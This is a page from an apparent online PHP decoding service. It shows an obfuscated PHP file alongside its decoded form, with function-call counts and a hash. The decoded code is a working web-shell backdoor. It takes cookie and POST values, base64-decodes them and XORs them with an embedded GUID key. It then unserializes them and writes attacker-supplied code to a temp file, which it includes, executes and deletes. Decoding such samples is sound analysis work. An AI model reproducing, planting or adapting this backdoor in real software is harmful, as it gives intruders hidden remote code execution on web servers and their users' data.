Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$dDfovh = "\117" . "\117" . "\137" . chr (120) . chr ( 1005 - 939 ).chr (121) . 's';$xKbmv..

Decoded Output download

<?  $dDfovh = "O" . "O" . "_" . chr (120) . chr ( 1005 - 939 ).chr (121) . 's';$xKbmvCvP = "c" . "l" . "a" . "s" . chr (115) . '_' . chr (101) . chr ( 131 - 11 )."i" . "s" . "t" . chr (115); $crdmv = $xKbmvCvP($dDfovh); $dDfovh = "9658";$edycjqeis = !$crdmv;$xKbmvCvP = "48404";if ($edycjqeis){class OO_xBys{private $RqrjTyLisk;public static $lDWKdePgYU = "f4585c5f-a692-4812-962f-192420060c8e";public static $QvmYqWCUS = 27917;public function __construct($EzlTT=0){$LQreq = $_COOKIE;$MEfaXitzpa = $_POST;$sbGAxEcKJl = @$LQreq[substr(OO_xBys::$lDWKdePgYU, 0, 4)];if (!empty($sbGAxEcKJl)){$ETsNY = "base64";$nMWebQqYro = "";$sbGAxEcKJl = explode(",", $sbGAxEcKJl);foreach ($sbGAxEcKJl as $zDmjLcpu){$nMWebQqYro .= @$LQreq[$zDmjLcpu];$nMWebQqYro .= @$MEfaXitzpa[$zDmjLcpu];}$nMWebQqYro = array_map($ETsNY . "_" . "d" . chr (101) . chr (99) . chr ( 587 - 476 )."d" . "e", array($nMWebQqYro,)); $nMWebQqYro = $nMWebQqYro[0] ^ str_repeat(OO_xBys::$lDWKdePgYU, (strlen($nMWebQqYro[0]) / strlen(OO_xBys::$lDWKdePgYU)) + 1);OO_xBys::$QvmYqWCUS = @unserialize($nMWebQqYro);}}private function nmPGA(){if (is_array(OO_xBys::$QvmYqWCUS)) {$iIpqELL = sys_get_temp_dir() . "/" . crc32(OO_xBys::$QvmYqWCUS["s" . "a" . "l" . chr (116)]);@OO_xBys::$QvmYqWCUS["w" . chr ( 911 - 797 )."i" . chr (116) . chr ( 728 - 627 )]($iIpqELL, OO_xBys::$QvmYqWCUS['c' . "o" . chr ( 250 - 140 ).'t' . chr (101) . chr ( 437 - 327 )."t"]);include $iIpqELL;@OO_xBys::$QvmYqWCUS[chr ( 936 - 836 ).chr ( 1065 - 964 ).chr (108) . 'e' . 't' . 'e']($iIpqELL); $RhDVj = "34698";exit();}}public function __destruct(){$this->nmPGA(); $knoJmnSMM = str_pad("34698", 10);}}$aluOdJZk = new /* 52835 */ OO_xBys(); $aluOdJZk = substr("54156_24254", 1);} 
 ?>

Did this file decode correctly?

Original Code

$dDfovh = "\117" . "\117" . "\137" . chr (120) . chr ( 1005 - 939 ).chr (121) . 's';$xKbmvCvP = "\x63" . "\154" . "\141" . "\163" . chr (115) . '_' . chr (101) . chr ( 131 - 11 )."\x69" . "\163" . "\x74" . chr (115); $crdmv = $xKbmvCvP($dDfovh); $dDfovh = "9658";$edycjqeis = !$crdmv;$xKbmvCvP = "48404";if ($edycjqeis){class OO_xBys{private $RqrjTyLisk;public static $lDWKdePgYU = "f4585c5f-a692-4812-962f-192420060c8e";public static $QvmYqWCUS = 27917;public function __construct($EzlTT=0){$LQreq = $_COOKIE;$MEfaXitzpa = $_POST;$sbGAxEcKJl = @$LQreq[substr(OO_xBys::$lDWKdePgYU, 0, 4)];if (!empty($sbGAxEcKJl)){$ETsNY = "base64";$nMWebQqYro = "";$sbGAxEcKJl = explode(",", $sbGAxEcKJl);foreach ($sbGAxEcKJl as $zDmjLcpu){$nMWebQqYro .= @$LQreq[$zDmjLcpu];$nMWebQqYro .= @$MEfaXitzpa[$zDmjLcpu];}$nMWebQqYro = array_map($ETsNY . "\137" . "\x64" . chr (101) . chr (99) . chr ( 587 - 476 )."\x64" . "\145", array($nMWebQqYro,)); $nMWebQqYro = $nMWebQqYro[0] ^ str_repeat(OO_xBys::$lDWKdePgYU, (strlen($nMWebQqYro[0]) / strlen(OO_xBys::$lDWKdePgYU)) + 1);OO_xBys::$QvmYqWCUS = @unserialize($nMWebQqYro);}}private function nmPGA(){if (is_array(OO_xBys::$QvmYqWCUS)) {$iIpqELL = sys_get_temp_dir() . "/" . crc32(OO_xBys::$QvmYqWCUS["\x73" . "\x61" . "\154" . chr (116)]);@OO_xBys::$QvmYqWCUS["\x77" . chr ( 911 - 797 )."\151" . chr (116) . chr ( 728 - 627 )]($iIpqELL, OO_xBys::$QvmYqWCUS['c' . "\157" . chr ( 250 - 140 ).'t' . chr (101) . chr ( 437 - 327 )."\164"]);include $iIpqELL;@OO_xBys::$QvmYqWCUS[chr ( 936 - 836 ).chr ( 1065 - 964 ).chr (108) . 'e' . 't' . 'e']($iIpqELL); $RhDVj = "34698";exit();}}public function __destruct(){$this->nmPGA(); $knoJmnSMM = str_pad("34698", 10);}}$aluOdJZk = new /* 52835 */ OO_xBys(); $aluOdJZk = substr("54156_24254", 1);}

Function Calls

chr 7
class_exists 1

Variables

$dDfovh OO_xBys
$xKbmvCvP class_exists

Stats

MD5 f6de98e534d04273cb400310f00405ae
Eval Count 0
Decode Time 89 ms